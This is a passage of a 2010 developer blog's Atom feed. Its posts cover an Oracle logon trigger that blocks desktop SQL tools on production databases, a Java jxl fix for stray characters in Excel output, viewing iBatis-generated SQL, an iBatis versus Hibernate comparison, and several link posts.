&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=AS"&gt;&lt;span style="color: blue;"&gt;AS&lt;/span&gt;&lt;/a&gt; SYSDBA&lt;span style="color: blue;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=CREATE"&gt;&lt;span style="color: blue;"&gt;CREATE&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=OR"&gt;&lt;span style="color: blue;"&gt;OR&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=REPLACE"&gt;&lt;span style="color: black;"&gt;REPLACE&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=TRIGGER"&gt;&lt;span style="color: blue;"&gt;TRIGGER&lt;/span&gt;&lt;/a&gt; block_tools_from_prod&lt;br /&gt;  AFTER LOGON &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=ON"&gt;&lt;span style="color: blue;"&gt;ON&lt;/span&gt;&lt;/a&gt; DATABASE&lt;br /&gt;&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=DECLARE"&gt;&lt;span style="color: blue;"&gt;DECLARE&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;  v_prog sys&lt;span style="color: blue;"&gt;.&lt;/span&gt;v_$session&lt;span style="color: blue;"&gt;.&lt;/span&gt;program&lt;span style="color: blue;"&gt;%&lt;/span&gt;&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=TYPE"&gt;&lt;span style="color: blue;"&gt;TYPE&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=BEGIN"&gt;&lt;span style="color: blue;"&gt;BEGIN&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;  &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=SELECT"&gt;&lt;span style="color: blue;"&gt;SELECT&lt;/span&gt;&lt;/a&gt; program &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=INTO"&gt;&lt;span style="color: blue;"&gt;INTO&lt;/span&gt;&lt;/a&gt; v_prog&lt;br /&gt;    &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=FROM"&gt;&lt;span style="color: blue;"&gt;FROM&lt;/span&gt;&lt;/a&gt; sys&lt;span style="color: blue;"&gt;.&lt;/span&gt;v_$session&lt;br /&gt;  &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=WHERE"&gt;&lt;span style="color: blue;"&gt;WHERE&lt;/span&gt;&lt;/a&gt;  audsid &lt;span style="color: blue;"&gt;=&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=USERENV"&gt;&lt;span style="color: black;"&gt;USERENV&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'SESSIONID'&lt;/span&gt;&lt;span style="color: blue;"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=AND"&gt;&lt;span style="color: blue;"&gt;AND&lt;/span&gt;&lt;/a&gt;  audsid &lt;span style="color: blue;"&gt;!=&lt;/span&gt; &lt;span style="color: #880000;"&gt;0&lt;/span&gt;  &lt;span style="color: #008800; font-style: italic;"&gt;-- Don't Check SYS Connections&lt;/span&gt;&lt;br /&gt;    &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=AND"&gt;&lt;span style="color: blue;"&gt;AND&lt;/span&gt;&lt;/a&gt;  &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=ROWNUM"&gt;&lt;span style="color: blue;"&gt;ROWNUM&lt;/span&gt;&lt;/a&gt; &lt;span style="color: blue;"&gt;=&lt;/span&gt; &lt;span style="color: #880000;"&gt;1&lt;/span&gt;&lt;span style="color: blue;"&gt;;&lt;/span&gt;  &lt;span style="color: #008800; font-style: italic;"&gt;-- Parallel processes will have the same AUDSID's&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;  &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=IF"&gt;&lt;span style="color: blue;"&gt;IF&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=UPPER"&gt;&lt;span style="color: black;"&gt;UPPER&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;v_prog&lt;span style="color: blue;"&gt;)&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=LIKE"&gt;&lt;span style="color: blue;"&gt;LIKE&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;'%TOAD%'&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=OR"&gt;&lt;span style="color: blue;"&gt;OR&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=UPPER"&gt;&lt;span style="color: black;"&gt;UPPER&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;v_prog&lt;span style="color: blue;"&gt;)&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=LIKE"&gt;&lt;span style="color: blue;"&gt;LIKE&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;'%T.O.A.D%'&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=OR"&gt;&lt;span style="color: blue;"&gt;OR&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #008800; font-style: italic;"&gt;-- Toad&lt;/span&gt;&lt;br /&gt;     &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=UPPER"&gt;&lt;span style="color: black;"&gt;UPPER&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;v_prog&lt;span style="color: blue;"&gt;)&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=LIKE"&gt;&lt;span style="color: blue;"&gt;LIKE&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;'%SQLNAV%'&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=OR"&gt;&lt;span style="color: blue;"&gt;OR&lt;/span&gt;&lt;/a&gt;     &lt;span style="color: #008800; font-style: italic;"&gt;-- SQL Navigator&lt;/span&gt;&lt;br /&gt;     &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=UPPER"&gt;&lt;span style="color: black;"&gt;UPPER&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;v_prog&lt;span style="color: blue;"&gt;)&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=LIKE"&gt;&lt;span style="color: blue;"&gt;LIKE&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;'%PLSQLDEV%'&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=OR"&gt;&lt;span style="color: blue;"&gt;OR&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #008800; font-style: italic;"&gt;-- PLSQL Developer&lt;/span&gt;&lt;br /&gt;     &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=UPPER"&gt;&lt;span style="color: black;"&gt;UPPER&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;v_prog&lt;span style="color: blue;"&gt;)&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=LIKE"&gt;&lt;span style="color: blue;"&gt;LIKE&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;'%BUSOBJ%'&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=OR"&gt;&lt;span style="color: blue;"&gt;OR&lt;/span&gt;&lt;/a&gt;   &lt;span style="color: #008800; font-style: italic;"&gt;-- Business Objects&lt;/span&gt;&lt;br /&gt;     &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=UPPER"&gt;&lt;span style="color: black;"&gt;UPPER&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;(&lt;/span&gt;v_prog&lt;span style="color: blue;"&gt;)&lt;/span&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=LIKE"&gt;&lt;span style="color: blue;"&gt;LIKE&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;'%EXCEL%'&lt;/span&gt;       &lt;span style="color: #008800; font-style: italic;"&gt;-- MS-Excel plug-in&lt;/span&gt;&lt;br /&gt;  &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=THEN"&gt;&lt;span style="color: blue;"&gt;THEN&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;     RAISE_APPLICATION_ERROR&lt;span style="color: blue;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;-&lt;/span&gt;&lt;span style="color: #880000;"&gt;20000&lt;/span&gt;&lt;span style="color: blue;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'Development tools are not allowed here.'&lt;/span&gt;&lt;span style="color: blue;"&gt;)&lt;/span&gt;&lt;span style="color: blue;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=END"&gt;&lt;span style="color: blue;"&gt;END&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=IF"&gt;&lt;span style="color: blue;"&gt;IF&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.oracle.com/pls/db10g/search?remark=quick_search&amp;amp;word=END"&gt;&lt;span style="color: blue;"&gt;END&lt;/span&gt;&lt;/a&gt;&lt;span style="color: blue;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;/&lt;/span&gt;&lt;br /&gt;SHOW ERRORS&lt;/pre&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;&lt;a href="http://www.psoug.org/snippet/Block_TOAD_and_other_tools_516.htm"&gt;http://www.psoug.org/snippet/Block_TOAD_and_other_tools_516.htm&lt;/a&gt;&lt;/pre&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;Cheers!!!&lt;/pre&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;&lt;/pre&gt;&lt;pre style="background: none repeat scroll 0% 0% rgb(254, 254, 254); font-family: monospace;"&gt;Ujjwal B Soni &lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7283867819484059203?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7283867819484059203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7283867819484059203' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7283867819484059203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7283867819484059203'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/11/blocking-developers-from-using-toad-and.html' title='Blocking developers from using TOAD and other tools on production databases'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4416851157339971752</id><published>2010-11-16T04:01:00.000-08:00</published><updated>2010-11-16T04:01:53.641-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android using java'/><category scheme='http://www.blogger.com/atom/ns#' term='java android'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse android'/><category scheme='http://www.blogger.com/atom/ns#' term='Get Started Developing for Android with Eclipse'/><title type='text'>Get Started Developing for Android with Eclipse</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Nice step by step explanation on developing Android based mobile applications using eclipse ::&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/"&gt;http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4416851157339971752?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4416851157339971752/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4416851157339971752' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4416851157339971752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4416851157339971752'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/11/get-started-developing-for-android-with.html' title='Get Started Developing for Android with Eclipse'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8393404097812426873</id><published>2010-10-28T05:43:00.000-07:00</published><updated>2010-10-28T05:43:30.924-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Block characters in excel sheet using jxl api java'/><category scheme='http://www.blogger.com/atom/ns#' term='jxl api'/><category scheme='http://www.blogger.com/atom/ns#' term='block characters'/><category scheme='http://www.blogger.com/atom/ns#' term='jxl api issue'/><title type='text'>Block characters in excel sheet using jxl api java</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Today one of my project which was getting used in Serbia started giving a problem, users started complaining that they are getting square block characters between text. Now, this problem was due to different character-set which was handled upto a certain extent when i initially developed this project. I tried all sorts of things to handle this issue and finally i came up with a solution below :&lt;br /&gt;&lt;br /&gt;&amp;nbsp;if(myText!=null)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;label = new Label(0, a, "Header", cellFormat1);&lt;br /&gt;&amp;nbsp;sheet5.addCell(label);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;a=a+1;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;if(myText.substring(myText.length()-1, myText.length()).equals("\n"))&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;b&gt;&amp;nbsp;label = new Label(0, 1, myText.replace('\r',' ').replaceAll("[^\\p{ASCII}]",""), myCellFormat);&lt;/b&gt;&lt;br /&gt;&amp;nbsp;sheet5.addCell(label);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}//end of sub-if&lt;br /&gt;//end of main-if&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//end of code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;************here's the explanation for the code*********&lt;br /&gt;&lt;br /&gt;1) &lt;b&gt;[^\\p{ASCII}]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This says "replace all occurences of one or more non-&lt;b style="background-color: #a0ffff; color: black;"&gt;ASCII&lt;/b&gt; characters with nothing." So the new string will be the old string minus all non-&lt;b style="background-color: #a0ffff; color: black;"&gt;ASCII&lt;/b&gt; characters. You just check the new String's length.&lt;br /&gt;&lt;br /&gt;Or you could just iterate over the string, checking if each char is between 0x00 and 0x7F.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2) &lt;b&gt;'\r'&lt;/b&gt;&lt;br /&gt;This was for removing carriage returns which were getting displayed in my excel sheet as block characters &amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Finally, at the end of my day, this issue got resolved and for multiple countries this issue got resolved.&lt;br /&gt;&lt;br /&gt;Regards,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8393404097812426873?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8393404097812426873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8393404097812426873' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8393404097812426873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8393404097812426873'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/block-characters-in-excel-sheet-using.html' title='Block characters in excel sheet using jxl api java'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7386125817908369072</id><published>2010-10-26T03:08:00.000-07:00</published><updated>2010-10-26T03:09:28.395-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql ibatis'/><category scheme='http://www.blogger.com/atom/ns#' term='sql in ibatis'/><category scheme='http://www.blogger.com/atom/ns#' term='View SQL generated in IBATIS'/><title type='text'>View SQL generated in IBATIS</title><content type='html'>To View the SQL Being executed in Ibatis.&lt;br /&gt;Use com.ibatis.sqlmap.engine.mapping.SimpleDynamicSql.java's getSql() method in Ibatis.jar. This method gives you the &lt;a class="kLink" href="http://ahsan-javed.blogspot.com/2008/07/to-view-sql-being-executed-in-ibatis.html#" id="KonaLink2" style="position: static; text-decoration: underline ! important;" target="undefined"&gt;&lt;span style="color: black; font-family: &amp;quot;Trebuchet MS&amp;quot;,Trebuchet,Verdana,Sans-Serif; font-size: 13px; font-weight: 400; position: static;"&gt;&lt;span class="kLink" style="color: black; font-family: &amp;quot;Trebuchet MS&amp;quot;,Trebuchet,Verdana,Sans-Serif; font-size: 13px; font-weight: 400; position: relative;"&gt;sql&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; being executed by the ibatis data mapper after all the dynamic elements have been replaced.&lt;br /&gt;&lt;br /&gt;&lt;a class="iconsphere" href="http://www.sphere.com/search?q=sphereit:http://ahsan-javed.blogspot.com/2008/07/to-view-sql-being-executed-in-ibatis.html/"&gt;Sphere: Related Content&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can also breakpoint in your favourite IDE of your choice. I usually did this for the SimpleDynamicSql class of Ibatis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7386125817908369072?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7386125817908369072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7386125817908369072' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7386125817908369072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7386125817908369072'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/view-sql-generated-in-ibatis.html' title='View SQL generated in IBATIS'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5717239367694529825</id><published>2010-10-25T22:36:00.000-07:00</published><updated>2010-10-25T22:36:17.661-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='ibatis'/><category scheme='http://www.blogger.com/atom/ns#' term='Ibatis Vs Hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='hibernate vs ibatis'/><title type='text'>Ibatis Vs Hibernate</title><content type='html'>I have using Hibernate and Ibatis for a year now, and I find myself switching  twice from Hibernate to iBatis, not because one is better than the other, it's  because of what preperations each framework needs. &lt;br /&gt;&lt;br /&gt;In hibernate you need  to have a proper plan to design your database, the database is controled by the  hibernate roles and you spend time try to fullfill these rules, and if you go  the other way (database-&amp;gt;OO) it's harder. &lt;br /&gt;&lt;br /&gt;With Ibatis I find myself  getting the Job done faster, I create any POJO any set of tables, and I link  them, much flixability in that field, but little extra work, building Queries  and managing Maps (but hay, you spend time with hibernate maps too).  &lt;br /&gt;&lt;br /&gt;Both are good in a way with iBatis you finish the Job faster, which I  like, but you won't have the big tools that hibernate provide, nor iBatis will  provide the facility to generate the sql for you. &lt;br /&gt;&lt;br /&gt;With Hibernate3 it  maybe a different story, since allot of what can stop you in H2 and make you  think of iBatis is there in H3, still iBatis is growing up. &lt;br /&gt;&lt;br /&gt;ibatis:  &lt;br /&gt;-Simpler &lt;br /&gt;-faster development time &lt;br /&gt;-flixable &lt;br /&gt;-Much smaller in  package size &lt;br /&gt;&lt;br /&gt;hibernate: &lt;br /&gt;-generate SQL for you which means you don't  spend time on SQL &lt;br /&gt;-provide much more advance cache &lt;br /&gt;-scalable &lt;br /&gt;&lt;br /&gt;For  now I use iBatis, but keeping my eyes on Hibernate3, by the way, you can always  use iBatis to have a fast start, and move to hibernate on late stages if you  want, iBatis provide special DAO framework for that. &lt;br /&gt;&lt;br /&gt;Learn both, use  both, and if you don't have time learn and use iBatis, you won't regret it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-5717239367694529825?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/5717239367694529825/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=5717239367694529825' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5717239367694529825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/5717239367694529825'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/ibatis-vs-hibernate.html' title='Ibatis Vs Hibernate'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3843328411366643730</id><published>2010-10-22T05:43:00.000-07:00</published><updated>2010-10-22T05:43:05.058-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='brilliant web app for capturing screenshots'/><category scheme='http://www.blogger.com/atom/ns#' term='screen shot capturing web application'/><title type='text'>brilliant web app for capturing screenshots</title><content type='html'>Here's a brilliant web app for capturing screenshots of web pages &lt;a href="http://bounceapp.com/"&gt;http://bounceapp.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3843328411366643730?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3843328411366643730/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3843328411366643730' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3843328411366643730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3843328411366643730'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/10/brilliant-web-app-for-capturing.html' title='brilliant web app for capturing screenshots'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4253536035100743696</id><published>2010-10-20T01:55:00.000-07:00</published><updated>2010-10-20T01:55:38.058-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applets examples'/><category scheme='http://www.blogger.com/atom/ns#' term='excellent applets'/><title type='text'>Excellent Applet</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Check this out for some excellent applet creations..&lt;br 